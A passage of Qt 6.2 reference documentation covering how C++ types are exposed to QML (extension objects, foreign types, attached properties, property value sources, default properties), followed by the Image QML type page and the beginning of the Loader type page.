 Revisions of a base class that your type depends upon are automatically registered when registering the type itself. This is useful when deriving from base classes provided by other authors, e.g. when extending classes from the Qt Quick module.

  **Note:** The QML engine does not support revisions for properties or signals of grouped and attached property objects.

  ### Registering Extension Objects

 When integrating existing classes and technology into QML, APIs will often need tweaking to fit better into the declarative environment. Although the best results are usually obtained by modifying the original classes directly, if this is either not possible or is complicated by some other concerns, extension objects allow limited extension possibilities without direct modifications.

 *Extension objects* add additional properties to an existing type. Extension objects can only add properties, not signals or methods. An extended type definition allows the programmer to supply an additional type, known as the *extension type*, when registering the class. The properties are transparently merged with the original target class when used from within QML. For example:

 
```
QLineEdit {
    leftMargin: 20
}
```
 The `leftMargin` property is a new property added to an existing C++ type, [QLineEdit](qlineedit), without modifying its source code.

 The [QML\_EXTENDED](qqmlengine#QML_EXTENDED)(extended) macro is for registering extended types. The argument is the name of another class to be used as extension.

 You can also use [QML\_EXTENDED\_NAMESPACE](qqmlengine#QML_EXTENDED_NAMESPACE)(namespace) to register a namespace, and especially the enumerations declared within, as an extension to a type.

 An extension class is a regular [QObject](qobject), with a constructor that takes a [QObject](qobject) pointer. However, the extension class creation is delayed until the first extended property is accessed. The extension class is created and the target object is passed in as the parent. When the property on the original is accessed, the corresponding property on the extension object is used instead.

 The [Extension Objects Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-extended-example.html) demonstrates a usage of extension objects.

 ### Registering Foreign Types

 There may be C++ types that cannot be modified to hold the above mentioned macros. Those may be types from 3rdparty libraries, or types that need to fulfill some contract that contradicts the presence of those macros. You can still expose those types to QML, though, using the [QML\_FOREIGN](qqmlengine#QML_FOREIGN) macro. In order to do this, create a separate struct that consists entirely of the registration macros, like this:

 
```
// Contains class Immutable3rdParty
#include <3rdpartyheader.h>

struct Foreign
{
    Q_GADGET
    QML_FOREIGN(Immutable3rdParty)
    QML_NAMED_ELEMENT(Accessible3rdParty)
    QML_ADDED_IN_VERSION(2, 4)
    // QML_EXTENDED, QML_SINGLETON ...
};
```
 From this code, you get a QML type with the methods and properties of Immutable3rdParty, and the QML traits (e.g.: singleton, extended) specified in Foreign.

 Defining QML-Specific Types and Attributes
------------------------------------------

 ### Providing Attached Properties

 In the QML language syntax, there is a notion of [*attached properties* and *attached signal handlers*](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers), which are additional attributes that are attached to an object. Essentially, such attributes are implemented and provided by an *attaching type*, and these attributes may be *attached* to an object of another type. This contrasts with ordinary object properties which are provided by the object type itself (or the object's inherited type).

 For example, the [Item](qml-qtquick-item) below uses attached properties and attached handlers:

 
```
import QtQuick 2.0

Item {
    width: 100; height: 100

    focus: true
    Keys.enabled: false
    Keys.onReturnPressed: console.log("Return key was pressed")
}
```
 Here, the [Item](qml-qtquick-item) object is able to access and set the values of `Keys.enabled` and `Keys.onReturnPressed`. This allows the [Item](qml-qtquick-item) object to access these extra attributes as an extension to its own existing attributes.

 #### Steps for Implementing Attached Objects

 When considering the above example, there are several parties involved:

 * There is an instance of an anonymous *attached object type*, with an `enabled` and a `returnPressed` signal, that has been attached to the [Item](qml-qtquick-item) object to enable it to access and set these attributes.
* The [Item](qml-qtquick-item) object is the *attachee*, to which the instance of the *attached object type* has been attached.
* [Keys](qml-qtquick-keys) is the *attaching type*, which provides the *attachee* with a named qualifier, "Keys", through which it may access the attributes of the *attached object type*.

 When the QML engine processes this code, it creates a single instance of the *attached object type* and attaches this instance to the [Item](qml-qtquick-item) object, thereby providing it with access to the `enabled` and `returnPressed` attributes of the instance.

 The mechanisms for providing attached objects can be implemented from C++ by providing classes for the *attached object type* and *attaching type*. For the *attached object type*, provide a [QObject](qobject)-derived class that defines the attributes to be made accessible to *attachee* objects. For the *attaching type*, provide a [QObject](qobject)-derived class that:

 * implements a static qmlAttachedProperties() with the following signature:
```
static <AttachedPropertiesType> *qmlAttachedProperties(QObject *object);
```
 This method should return an instance of the *attached object type*.

 The QML engine invokes this method in order to attach an instance of the attached object type to the *attachee* specified by the `object` parameter. It is customary, though not strictly required, for this method implementation to parent the returned instance to `object` in order to prevent memory leaks.

 This method is called at most once by the engine for each attachee object instance, as the engine caches the returned instance pointer for subsequent attached property accesses. Consequently the attachment object may not be deleted until the attachee `object` is destroyed.
* is declared as an attaching type, by adding the [QML\_ATTACHED](qqmlengine#QML_ATTACHED)(attached) macro to the class declaration. The argument is the name of the *attached object type*

 #### Implementing Attached Objects: An Example

 For example, take the `Message` type described in an [earlier example](qtqml-cppintegration-definetypes#registering-an-instantiable-object-type):

 
```
class Message : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QString author READ author WRITE setAuthor NOTIFY authorChanged)
    Q_PROPERTY(QDateTime creationDate READ creationDate WRITE setCreationDate NOTIFY creationDateChanged)
    QML_ELEMENT
public:
    // ...
};
```
 Suppose it is necessary to trigger a signal on a `Message` when it is published to a message board, and also track when the message has expired on the message board. Since it doesn't make sense to add these attributes directly to a `Message`, as the attributes are more relevant to the message board context, they could be implemented as *attached* attributes on a `Message` object that are provided through a "MessageBoard" qualifier. In terms of the concepts described earlier, the parties involved here are:

 * An instance of an anonymous *attached object type*, which provides a `published` signal and an expired property. This type is implemented by `MessageBoardAttachedType` below
* A `Message` object, which will be the *attachee*
* The `MessageBoard` type, which will be the *attaching type* that is used by `Message` objects to access the attached attributes

 Following is an example implementation. First, there needs to be an *attached object type* with the necessary properties and signals that will be accessible to the *attachee*:

 
```
class MessageBoardAttachedType : public QObject
{
    Q_OBJECT
    Q_PROPERTY(bool expired READ expired WRITE setExpired NOTIFY expiredChanged)
    QML_ANONYMOUS
public:
    MessageBoardAttachedType(QObject *parent);
    bool expired() const;
    void setExpired(bool expired);
signals:
    void published();
    void expiredChanged();
};
```
 Then the *attaching type*, `MessageBoard`, must declare a `qmlAttachedProperties()` method that returns an instance of the *attached object type* as implemented by MessageBoardAttachedType. Additionally, `MessageBoard` must be declared as an attaching type via the [QML\_ATTACHED](qqmlengine#QML_ATTACHED)() macro:

 
```
class MessageBoard : public QObject
{
    Q_OBJECT
    QML_ATTACHED(MessageBoardAttachedType)
    QML_ELEMENT
public:
    static MessageBoardAttachedType *qmlAttachedProperties(QObject *object)
    {
        return new MessageBoardAttachedType(object);
    }
};
```
 Now, a `Message` type can access the properties and signals of the attached object type:

 
```
Message {
    author: "Amelie"
    creationDate: new Date()

    MessageBoard.expired: creationDate < new Date("January 01, 2015 10:45:00")
    MessageBoard.onPublished: console.log("Message by", author, "has been
published!")
}
```
 Additionally, the C++ implementation may access the attached object instance that has been attached to any object by calling the qmlAttachedPropertiesObject() function.

 For example:

 
```
Message *msg = someMessageInstance();
MessageBoardAttachedType *attached =
        qobject_cast<MessageBoardAttachedType*>(qmlAttachedPropertiesObject<MessageBoard>(msg));

qDebug() << "Value of MessageBoard.expired:" << attached->expired();
```
 ### Property Modifier Types

 A property modifier type is a special kind of QML object type. A property modifier type instance affects a property (of a QML object instance) which it is applied to. There are two different kinds of property modifier types:

 * property value write interceptors
* property value sources

 A property value write interceptor can be used to filter or modify values as they are written to properties. Currently, the only supported property value write interceptor is the [Behavior](qml-qtquick-behavior) type provided by the `QtQuick` import.

 A property value source can be used to automatically update the value of a property over time. Clients can define their own property value source types. The various [property animation](qtquick-statesanimations-animations) types provided by the `QtQuick` import are examples of property value sources.

 Property modifier type instances can be created and applied to a property of a QML object through the "<ModifierType> on <propertyName>" syntax, as the following example shows:

 
```
import QtQuick 2.0

Item {
    width: 400
    height: 50

    Rectangle {
        width: 50
        height: 50
        color: "red"

        NumberAnimation on x {
            from: 0
            to: 350
            loops: Animation.Infinite
            duration: 2000
        }
    }
}
```
 This is commonly referred to as "on" syntax.

 Clients can register their own property value source types, but currently not property value write interceptors.

 #### Property Value Sources

 *Property value sources* are QML types that can automatically update the value of a property over time, using the `<PropertyValueSource> on <property>` syntax. For example, the various [property animation](qtquick-statesanimations-animations) types provided by the `QtQuick` module are examples of property value sources.

 A property value source can be implemented in C++ by subclassing [QQmlPropertyValueSource](qqmlpropertyvaluesource) and providing an implementation that writes different values to a property over time. When the property value source is applied to a property using the `<PropertyValueSource> on <property>` syntax in QML, it is given a reference to this property by the engine so that the property value can be updated.

 For example, suppose there is a `RandomNumberGenerator` class to be made available as a property value source, so that when applied to a QML property, it will update the property value to a different random number every 500 milliseconds. Additionally, a maxValue can be provided to this random number generator. This class can be implemented as follows:

 
```
class RandomNumberGenerator : public QObject, public QQmlPropertyValueSource
{
    Q_OBJECT
    Q_INTERFACES(QQmlPropertyValueSource)
    Q_PROPERTY(int maxValue READ maxValue WRITE setMaxValue NOTIFY maxValueChanged);
    QML_ELEMENT
public:
    RandomNumberGenerator(QObject *parent)
        : QObject(parent), m_maxValue(100)
    {
        QObject::connect(&m_timer, SIGNAL(timeout()), SLOT(updateProperty()));
        m_timer.start(500);
    }

    int maxValue() const;
    void setMaxValue(int maxValue);

    virtual void setTarget(const QQmlProperty &prop) { m_targetProperty = prop; }

signals:
    void maxValueChanged();

private slots:
    void updateProperty() {
        m_targetProperty.write(QRandomGenerator::global()->bounded(m_maxValue));
    }

private:
    QQmlProperty m_targetProperty;
    QTimer m_timer;
    int m_maxValue;
};
```
 When the QML engine encounters a use of `RandomNumberGenerator` as a property value source, it invokes `RandomNumberGenerator::setTarget()` to provide the type with the property to which the value source has been applied. When the internal timer in `RandomNumberGenerator` triggers every 500 milliseconds, it will write a new number value to that specified property.

 Once the `RandomNumberGenerator` class has been registered with the QML type system, it can be used from QML as a property value source. Below, it is used to change the width of a [Rectangle](qml-qtquick-rectangle) every 500 milliseconds:

 
```
import QtQuick 2.0

Item {
    width: 300; height: 300

    Rectangle {
        RandomNumberGenerator on width { maxValue: 300 }

        height: 100
        color: "red"
    }
}
```
 In all other respects, property value sources are regular QML types that can have properties, signals methods and so on, but with the added capability that they can be used to change property values using the `<PropertyValueSource> on <property>` syntax.

 When a property value source object is assigned to a property, QML first tries to assign it normally, as though it were a regular QML type. Only if this assignment fails does the engine call the [setTarget](qqmlpropertyvaluesource#setTarget)() method. This allows the type to also be used in contexts other than just as a value source.

 ### Specifying Default and Parent Properties for QML Object Types

 Any [QObject](qobject)-derived type that is registered as an instantiable QML object type can optionally specify a *default property* for the type. A default property is the property to which an object's children are automatically assigned if they are not assigned to any specific property.

 The default property can be set by calling the [Q\_CLASSINFO](qobject#Q_CLASSINFO)() macro for a class with a specific "DefaultProperty" value. For example, the `MessageBoard` class below specifies its `messages` property as the default property for the class:

 
```
class MessageBoard : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QQmlListProperty<Message> messages READ messages)
    Q_CLASSINFO("DefaultProperty", "messages")
    QML_ELEMENT
public:
    QQmlListProperty<Message> messages();

private:
    QList<Message *> m_messages;
};
```
 This enables children of a `MessageBoard` object to be automatically assigned to its `messages` property if they are not assigned to a specific property. For example:

 
```
MessageBoard {
    Message { author: "Naomi" }
    Message { author: "Clancy" }
}
```
 If `messages` was not set as the default property, then any `Message` objects would have to be explicitly assigned to the `messages` property instead, as follows:

 
```
MessageBoard {
    messages: [
        Message { author: "Naomi" },
        Message { author: "Clancy" }
    ]
}
```
 (Incidentally, the [Item::data](qml-qtquick-item#data-prop) property is its default property. Any [Item](qml-qtquick-item) objects added to this `data` property are also added to the list of [Item::children](qml-qtquick-item#children-prop), so the use of the default property enables visual children to be declared for an item without explicitly assigning them to the [children](qml-qtquick-item#children-prop) property.)

 Additionally, you can declare a "ParentProperty" [Q\_CLASSINFO](qobject#Q_CLASSINFO)() to inform the QML engine which property should denote the parent object in the QML hierarchy. For example, the Message type might be declared as follows:

 
```
class Message : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QObject* board READ board BINDABLE boardBindable)
    Q_PROPERTY(QString author READ author BINDABLE authorBindable)
    Q_CLASSINFO("ParentProperty", "board")
    QML_ELEMENT

public:
    Message(QObject *parent = nullptr) : QObject(parent) { m_board = parent; }

    QObject *board() const { return m_board.value(); }
    QBindable<QObject *> boardBindable() { return QBindable<QObject *>(&m_board); }

    QString author() const { return m_author.value(); }
    QBindable<QString> authorBindable() { return QBindable<QString>(&m_author); }

private:
    QProperty<QObject *> m_board;
    QProperty<QString> m_author;
};
```
 Defining the parent property affords [qmllint](qtquick-tools-and-utilities#qmllint) and other tools better insight into the intention of your code and avoids false positive warnings on some property accesses.

 ### Defining Visual Items with the Qt Quick Module

 When building user interfaces with the [Qt Quick](qtquick-index) module, all QML objects that are to be visually rendered must derive from the [Item](qml-qtquick-item) type, as it is the base type for all visual objects in [Qt Quick](qtquick-index). This [Item](qml-qtquick-item) type is implemented by the [QQuickItem](qquickitem) C++ class, which is provided by the [Qt Quick](qtquick-index) module. Therefore, this class should be subclassed when it is necessary to implement a visual type in C++ that can be integrated into a QML-based user interface.

 See the [QQuickItem](qquickitem) documentation for more information. Additionally, the [Writing QML Extensions with C++](https://doc.qt.io/qt-6.2/qtqml-tutorials-extending-qml-example.html) tutorial demonstrates how a [QQuickItem](qquickitem)-based visual item can be implemented in C++ and integrated into a Qt Quick-based user interface.

 Receiving Notifications for Object Initialization
-------------------------------------------------

 For some custom QML object types, it may be beneficial to delay the initialization of particular data until the object has been created and all of its properties have been set. For example, this may be the case if the initialization is costly, or if the initialization should not be performed until all property values have been initialized.

 The [Qt QML](qtqml-index) module provides the [QQmlParserStatus](qqmlparserstatus) to be subclassed for these purposes. It defines a number of virtual methods that are invoked at various stages during component instantiation. To receive these notifications, a C++ class should inherit [QQmlParserStatus](qqmlparserstatus) and also notify the Qt meta system using the [Q\_INTERFACES](qobject#Q_INTERFACES)() macro.

 For example:

 
```
class MyQmlType : public QObject, public QQmlParserStatus
{
    Q_OBJECT
    Q_INTERFACES(QQmlParserStatus)
    QML_ELEMENT
public:
    virtual void componentComplete()
    {
        // Perform some initialization here now that the object is fully created
    }
};
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-cppintegration-definetypes.html>

Image QML Type
==============

 Displays an image. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |
|  Inherited By: | [AnimatedImage](qml-qtquick-animatedimage) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-image-members.html)

 Properties
----------

 * **[asynchronous](qml-qtquick-image#asynchronous-prop)** : bool
* **[autoTransform](qml-qtquick-image#autoTransform-prop)** : bool
* **[cache](qml-qtquick-image#cache-prop)** : bool
* **[currentFrame](qml-qtquick-image#currentFrame-prop)** : int
* **[fillMode](qml-qtquick-image#fillMode-prop)** : enumeration
* **[frameCount](qml-qtquick-image#frameCount-prop)** : int
* **[horizontalAlignment](qml-qtquick-image#horizontalAlignment-prop)** : enumeration
* **[mipmap](qml-qtquick-image#mipmap-prop)** : bool
* **[mirror](qml-qtquick-image#mirror-prop)** : bool
* **[mirrorVertically](qml-qtquick-image#mirrorVertically-prop)** : bool
* **[paintedHeight](qml-qtquick-image#paintedHeight-prop)** : real
* **[paintedWidth](qml-qtquick-image#paintedWidth-prop)** : real
* **[progress](qml-qtquick-image#progress-prop)** : real
* **[smooth](qml-qtquick-image#smooth-prop)** : bool
* **[source](qml-qtquick-image#source-prop)** : url
* **[sourceClipRect](qml-qtquick-image#sourceClipRect-prop)** : rect
* **[sourceSize](qml-qtquick-image#sourceSize-prop)** : size
* **[status](qml-qtquick-image#status-prop)** : enumeration
* **[verticalAlignment](qml-qtquick-image#verticalAlignment-prop)** : enumeration

 Detailed Description
--------------------

 The Image type displays an image.

 The source of the image is specified as a URL using the [source](qml-qtquick-image#source-prop) property. Images can be supplied in any of the standard image formats supported by Qt, including bitmap formats such as PNG and JPEG, and vector graphics formats such as SVG. If you need to display animated images, use [AnimatedSprite](qml-qtquick-animatedsprite) or [AnimatedImage](qml-qtquick-animatedimage).

 If the [width](qml-qtquick-item#width-prop) and [height](qml-qtquick-item#height-prop) properties are not specified, the Image automatically uses the size of the loaded image. By default, specifying the width and height of the item causes the image to be scaled to that size. This behavior can be changed by setting the [fillMode](qml-qtquick-image#fillMode-prop) property, allowing the image to be stretched and tiled instead.

 Example Usage
-------------

 The following example shows the simplest usage of the Image type.

 
```
import QtQuick 2.0

Image {
    source: "pics/qtlogo.png"
}
```
 ![]


Compressed Texture Files
------------------------

 When supported by the implementation of the underlying graphics API at run time, images can also be supplied in compressed texture files. The content must be a simple RGB(A) format 2D texture. Supported compression schemes are only limited by the underlying driver and GPU. The following container file formats are supported:

 * `PKM` (since Qt 5.10)
* `KTX` (since Qt 5.11)
* `ASTC` (since Qt 5.13)

  **Note:** The intended vertical orientation of an image in a texture file is not generally well defined. Different texture compression tools have different defaults and options of when to perform vertical flipping of the input image. If an image from a texture file appears upside down, flipping may need to be toggled in the asset conditioning process. Alternatively, the Image element itself can be flipped by either applying a suitable transformation via the transform property or, more conveniently, by setting the [mirrorVertically](qml-qtquick-image#mirrorVertically-prop) property:

  
```
transform: [ Translate { y: -myImage.height }, Scale { yScale: -1 } ]
```
 or

 
```
mirrorVertically: true
```
  **Note:** Semi-transparent original images require alpha pre-multiplication prior to texture compression in order to be correctly displayed in Qt Quick. This can be done with the following ImageMagick command line:

  
```
convert foo.png \( +clone -alpha Extract \) -channel RGB -compose Multiply -composite foo_pm.png
```
 Automatic Detection of File Extension
-------------------------------------

 If the [source](qml-qtquick-image#source-prop) URL indicates a non-existing local file or resource, the Image element attempts to auto-detect the file extension. If an existing file can be found by appending any of the supported image file extensions to the [source](qml-qtquick-image#source-prop) URL, then that file will be loaded.

 The file search attempts to look for compressed texture container file extensions first. If the search is unsuccessful, it attempts to search with the file extensions for the [conventional image file types](qimagereader#supportedImageFormats). For example:

 
```
// Assuming the "pics" directory contains the following files:
//   dog.jpg
//   cat.png
//   cat.pkm

Image {
    source: "pics/cat.png"     // loads cat.png
}

Image {
    source: "pics/dog"         // loads dog.jpg
}

Image {
    source: "pics/cat"         // normally loads cat.pkm, but if no OpenGL, loads cat.png instead.
}
```
 This functionality facilitates deploying different image asset file types on different target platforms. This can be useful in order to tune application performance and adapt to different graphics hardware.

 This functionality was introduced in Qt 5.11.

 Performance
-----------

 By default, locally available images are loaded immediately, and the user interface is blocked until loading is complete. If a large image is to be loaded, it may be preferable to load the image in a low priority thread, by enabling the [asynchronous](qml-qtquick-image#asynchronous-prop) property.

 If the image is obtained from a network rather than a local resource, it is automatically loaded asynchronously, and the [progress](qml-qtquick-image#progress-prop) and [status](qml-qtquick-image#status-prop) properties are updated as appropriate.

 Images are cached and shared internally, so if several Image items have the same [source](qml-qtquick-image#source-prop), only one copy of the image will be loaded.

 **Note**: Images are often the greatest user of memory in QML user interfaces. It is recommended that images which do not form part of the user interface have their size bounded via the [sourceSize](qml-qtquick-image#sourceSize-prop) property. This is especially important for content that is loaded from external sources or provided by the user.

 **See also** [Qt Quick Examples - Image Elements](https://doc.qt.io/qt-6.2/qtquick-imageelements-example.html), [QQuickImageProvider](qquickimageprovider), and [QImageReader::setAutoDetectImageFormat](qimagereader#setAutoDetectImageFormat)().

 Property Documentation
----------------------

  ###  [since 5.14] currentFrame : [int](qml-int)

 
[currentFrame](qml-qtquick-image#currentFrame-prop) is the frame that is currently visible. The default is `0`. You can set it to a number between `0` and `frameCount - 1` to display a different frame, if the image contains multiple frames.

 [frameCount](qml-qtquick-image#frameCount-prop) is the number of frames in the image. Most images have only one frame.

 This QML property was introduced in Qt 5.14.

  ###  horizontalAlignment : [enumeration](qml-enumeration)

 
Sets the horizontal and vertical alignment of the image. By default, the image is center aligned.

 The valid values for `horizontalAlignment` are `Image.AlignLeft`, `Image.AlignRight` and `Image.AlignHCenter`. The valid values for `verticalAlignment` are `Image.AlignTop`, `Image.AlignBottom` and `Image.AlignVCenter`.

  ###  [read-only] paintedHeight : [real](qml-real)

 
These properties hold the size of the image that is actually painted. In most cases it is the same as `width` and `height`, but when using an [Image.PreserveAspectFit](qml-qtquick-image#fillMode-prop) or an [Image.PreserveAspectCrop](qml-qtquick-image#fillMode-prop) `paintedWidth` or `paintedHeight` can be smaller or larger than `width` and `height` of the Image item.

 ###  asynchronous : [bool](qml-bool)

 Specifies that images on the local filesystem should be loaded asynchronously in a separate thread. The default value is false, causing the user interface thread to block while the image is loaded. Setting *asynchronous* to true is useful where maintaining a responsive user interface is more desirable than having images immediately visible.

 Note that this property is only valid for images read from the local filesystem. Images loaded via a network resource (e.g. HTTP) are always loaded asynchronously.

 ###  [since 5.5] autoTransform : [bool](qml-bool)

 This property holds whether the image should automatically apply image transformation metadata such as EXIF orientation.

 By default, this property is set to false.

 This property was introduced in Qt 5.5.

 ###  cache : [bool](qml-bool)

 Specifies whether the image should be cached. The default value is true. Setting *cache* to false is useful when dealing with large images, to make sure that they aren't cached at the expense of small 'ui element' images.

 ###  fillMode : [enumeration](qml-enumeration)

 Set this property to define what happens when the source image has a different size than the item.

 * Image.Stretch - the image is scaled to fit
* Image.PreserveAspectFit - the image is scaled uniformly to fit without cropping
* Image.PreserveAspectCrop - the image is scaled uniformly to fill, cropping if necessary
* Image.Tile - the image is duplicated horizontally and vertically
* Image.TileVertically - the image is stretched horizontally and tiled vertically
* Image.TileHorizontally - the image is stretched vertically and tiled horizontally
* Image.Pad - the image is not transformed

 

|  |  |
| --- | --- |
|  | Stretch (default)
```
Image {
    width: 130; height: 100
    source: "qtlogo.png"
}
```
 |
|  | PreserveAspectFit
```
Image {
    width: 130; height: 100
    fillMode: Image.PreserveAspectFit
    source: "qtlogo.png"
}
```
 |
|  | PreserveAspectCrop
```
Image {
    width: 130; height: 100
    fillMode: Image.PreserveAspectCrop
    source: "qtlogo.png"
    clip: true
}
```
 |
|  | Tile
```
Image {
    width: 120; height: 120
    fillMode: Image.Tile
    horizontalAlignment: Image.AlignLeft
    verticalAlignment: Image.AlignTop
    source: "qtlogo.png"
}
```
 |
|  | TileVertically
```
Image {
    width: 120; height: 120
    fillMode: Image.TileVertically
    verticalAlignment: Image.AlignTop
    source: "qtlogo.png"
}
```
 |
|  | TileHorizontally
```
Image {
    width: 120; height: 120
    fillMode: Image.TileHorizontally
    verticalAlignment: Image.AlignLeft
    source: "qtlogo.png"
}
```
 |

 Note that `clip` is `false` by default which means that the item might paint outside its bounding rectangle even if the fillMode is set to `PreserveAspectCrop`.

 **See also** [Qt Quick Examples - Image Elements](https://doc.qt.io/qt-6.2/qtquick-imageelements-example.html).

 ###  [since 5.3] mipmap : [bool](qml-bool)

 This property holds whether the image uses mipmap filtering when scaled or transformed.

 Mipmap filtering gives better visual quality when scaling down compared to smooth, but it may come at a performance cost (both when initializing the image and during rendering).

 By default, this property is set to false.

 This property was introduced in Qt 5.3.

 **See also** [smooth](qml-qtquick-image#smooth-prop).

 ###  mirror : [bool](qml-bool)

 This property holds whether the image should be horizontally inverted (effectively displaying a mirrored image).

 The default value is false.

 ###  [since 6.2] mirrorVertically : [bool](qml-bool)

 This property holds whether the image should be vertically inverted (effectively displaying a mirrored image).

 The default value is false.

 This property was introduced in Qt 6.2.

 ###  [read-only] progress : [real](qml-real)

 This property holds the progress of image loading, from 0.0 (nothing loaded) to 1.0 (finished).

 **See also** [status](qml-qtquick-image#status-prop).

 ###  smooth : [bool](qml-bool)

 This property holds whether the image is smoothly filtered when scaled or transformed. Smooth filtering gives better visual quality, but it may be slower on some hardware. If the image is displayed at its natural size, this property has no visual or performance effect.

 By default, this property is set to true.

 **See also** [mipmap](qml-qtquick-image#mipmap-prop).

 ###  source : [url](qml-url)

 Image can handle any image format supported by Qt, loaded from any URL scheme supported by Qt.

 The URL may be absolute, or relative to the URL of the component.

 **See also** [QQuickImageProvider](qquickimageprovider), [Compressed Texture Files](qml-qtquick-image#compressed-texture-files), and [Automatic Detection of File Extension](qml-qtquick-image#automatic-detection-of-file-extension).

 ###  [since 5.15] sourceClipRect : [rect](qml-rect)

 This property, if set, holds the rectangular region of the source image to be loaded.

 The `sourceClipRect` works together with the [sourceSize](qml-qtquick-image#sourceSize-prop) property to conserve system resources when only a portion of an image needs to be loaded.

 
```
Rectangle {
    width: ...
    height: ...

    Image {
       anchors.fill: parent
       source: "reallyBigImage.svg"
       sourceSize.width: 1024
       sourceSize.height: 1024
       sourceClipRect: Qt.rect(100, 100, 512, 512)
    }
}
```
 In the above example, we conceptually scale the SVG graphic to 1024x1024 first, and then cut out a region of interest that is 512x512 pixels from a location 100 pixels from the top and left edges. Thus `sourceSize` determines the scale, but the actual output image is 512x512 pixels.

 Some image formats are able to conserve CPU time by rendering only the specified region. Others will need to load the entire image first and then clip it to the specified region.

 This property can be cleared to reload the entire image by setting `sourceClipRect` to `undefined`.

  **Note:** *Changing this property dynamically causes the image source to be reloaded, potentially even from the network, if it is not in the disk cache.*

   **Note:** Sub-pixel clipping is not supported: the given rectangle will be passed to [QImageReader::setScaledClipRect](qimagereader#setScaledClipRect)().

  This property was introduced in Qt 5.15.

 ###  sourceSize : [size](qml-size)

 This property holds the scaled width and height of the full-frame image.

 Unlike the [width](qml-qtquick-item#width-prop) and [height](qml-qtquick-item#height-prop) properties, which scale the painting of the image, this property sets the maximum number of pixels stored for the loaded image so that large images do not use more memory than necessary. For example, this ensures the image in memory is no larger than 1024x1024 pixels, regardless of the Image's [width](qml-qtquick-item#width-prop) and [height](qml-qtquick-item#height-prop) values:

 
```
Rectangle {
    width: ...
    height: ...

    Image {
       anchors.fill: parent
       source: "reallyBigImage.jpg"
       sourceSize.width: 1024
       sourceSize.height: 1024
    }
}
```
 If the image's actual size is larger than the sourceSize, the image is scaled down. If only one dimension of the size is set to greater than 0, the other dimension is set in proportion to preserve the source image's aspect ratio. (The [fillMode](qml-qtquick-image#fillMode-prop) is independent of this.)

 If both the sourceSize.width and sourceSize.height are set, the image will be scaled down to fit within the specified size (unless PreserveAspectCrop or PreserveAspectFit are used, then it will be scaled to match the optimal size for cropping/fitting), maintaining the image's aspect ratio. The actual size of the image after scaling is available via [Item::implicitWidth](qml-qtquick-item#implicitWidth-prop) and [Item::implicitHeight](qml-qtquick-item#implicitHeight-prop).

 If the source is an intrinsically scalable image (eg. SVG), this property determines the size of the loaded image regardless of intrinsic size. Avoid changing this property dynamically; rendering an SVG is *slow* compared to an image.

 If the source is a non-scalable image (eg. JPEG), the loaded image will be no greater than this property specifies. For some formats (currently only JPEG), the whole image will never actually be loaded into memory.

 If the [sourceClipRect](qml-qtquick-image#sourceClipRect-prop) property is also set, `sourceSize` determines the scale, but it will be clipped to the size of the clip rectangle.

 sourceSize can be cleared to the natural size of the image by setting sourceSize to `undefined`.

  **Note:** *Changing this property dynamically causes the image source to be reloaded, potentially even from the network, if it is not in the disk cache.*

  ###  [read-only] status : [enumeration](qml-enumeration)

 This property holds the status of image loading. It can be one of:

 * Image.Null - no image has been set
* Image.Ready - the image has been loaded
* Image.Loading - the image is currently being loaded
* Image.Error - an error occurred while loading the image

 Use this status to provide an update or respond to the status change in some way. For example, you could:

 * Trigger a state change:
```
State { name: 'loaded'; when: image.status == Image.Ready }
```
* Implement an `onStatusChanged` signal handler:
```
Image {
    id: image
    onStatusChanged: if (image.status == Image.Ready) console.log('Loaded')
}
```
* Bind to the status value:
```
Text { text: image.status == Image.Ready ? 'Loaded' : 'Not loaded' }
```

 **See also** [progress](qml-qtquick-image#progress-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-image.html>

Loader QML Type
===============

 Allows dynamic loading of a subtree from a URL or Component. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-loader-members.html)

 Properties
----------

 * **[active](qml-qtquick-loader#active-prop)** : bool
* **[asynchronous](qml-qtquick-loader#asynchronous-prop)** : bool
* **[item](qml-qtquick-loader#item-prop)** : object
* **[progress](qml-qtquick-loader#progress-prop)** : real
* **[source](qml-qtquick-loader#source-prop)** : url
* **[sourceComponent](qml-qtquick-loader#sourceComponent-prop)** : Component
* **[status](qml-qtquick-loader#status-prop)** : enumeration

 Signals
-------

 * **[loaded](qml-qtquick-loader#loaded-signal)**()

 Methods
-------

 * object **[setSource](qml-qtquick-loader#setSource-method)**(url *source*, object *properties*)

 Detailed Description
--------------------

 Loader is used to dynamically load QML components.

 Loader can load a QML file (using the [source](qml-qtquick-loader#source-prop) property) or a [Component](qml-qtqml-component) object (using the [sourceComponent](qml-qtquick-loader#sourceComponent-prop) property). It is useful for delaying the creation of a component until it is required: for example, when a component should be created on demand, or when a component should not be created unnecessarily for performance reasons.

 Here is a Loader that loads "Page1.qml" as a component when the [MouseArea](qml-qtquick-mousearea) is clicked:

 
```
import QtQuick 2.0

Item {
    width: 200; height: 200

    Loader { id: pageLoader }

    MouseArea {
        anchors.fill: parent
        onClicked: pageLoader.source = "Page1.qml"
    }
}
```
 The loaded object can be accessed using the [item](qml-qtquick-loader#item-prop) property.

 If the [source](qml-qtquick-loader#source-prop) or [sourceComponent](qml-qtquick-loader#sourceComponent-prop) changes, any previously instantiated items are destroyed. Setting [source](qml-qtquick-loader#source-prop) to an empty string or setting [sourceComponent](qml-qtquick-loader#sourceComponent-prop) to `undefined` destroys the currently loaded object, freeing resources and leaving the Loader empty.

 ### Loader Sizing Behavior

 If the source component is not an Item type, Loader does not apply any special sizing rules. When used to load visual types, Loader applies the following sizing rules:

 * If an explicit size is not specified for the Loader, the Loader is automatically resized to the size of the loaded item once the component is loaded.
* If the size of the Loader is specified explicitly by setting the width, height or by anchoring, the loaded item will be resized to the size of the Loader.

 In both scenarios the size of the item and the Loader are identical. This ensures that anchoring to the Loader is equivalent to anchoring to the loaded item.

 

|  |  |
